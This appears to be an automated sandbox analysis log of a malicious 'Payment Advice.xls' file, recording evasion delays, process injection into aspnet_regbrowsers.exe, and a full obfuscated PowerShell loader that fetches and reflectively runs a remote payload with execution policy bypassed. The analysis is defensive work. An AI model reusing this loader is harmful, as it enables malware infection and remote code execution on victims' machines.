Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: Payment Advice.xls	Stream path 'Workbook' entropy: 7.99868683514 (max. 8.0)
Source: DA430000.0.dr	Stream path 'Workbook' entropy: 7.99847337359 (max. 8.0)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1340	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6317	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6184	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2193	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1057
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1824
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3049
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 999
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8767
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1496
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2496
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1738
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1301
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8544

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.dll			Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 3852	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4028	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3116	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3996	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4064	Thread sleep count: 6184 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4064	Thread sleep count: 2193 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 3320	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1412	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3280	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3936	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 956	Thread sleep count: 999 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 956	Thread sleep count: 8767 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1908	Thread sleep count: 69 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2260	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3492	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3492	Thread sleep time: -3000000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1740	Thread sleep count: 1496 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1740	Thread sleep count: 2496 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3724	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3800	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 536	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1788	Thread sleep count: 1301 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1788	Thread sleep count: 8544 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3684	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3688	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3688	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 3212	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 60000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 252, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 415000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 41A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 4A0000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 7EFDE008

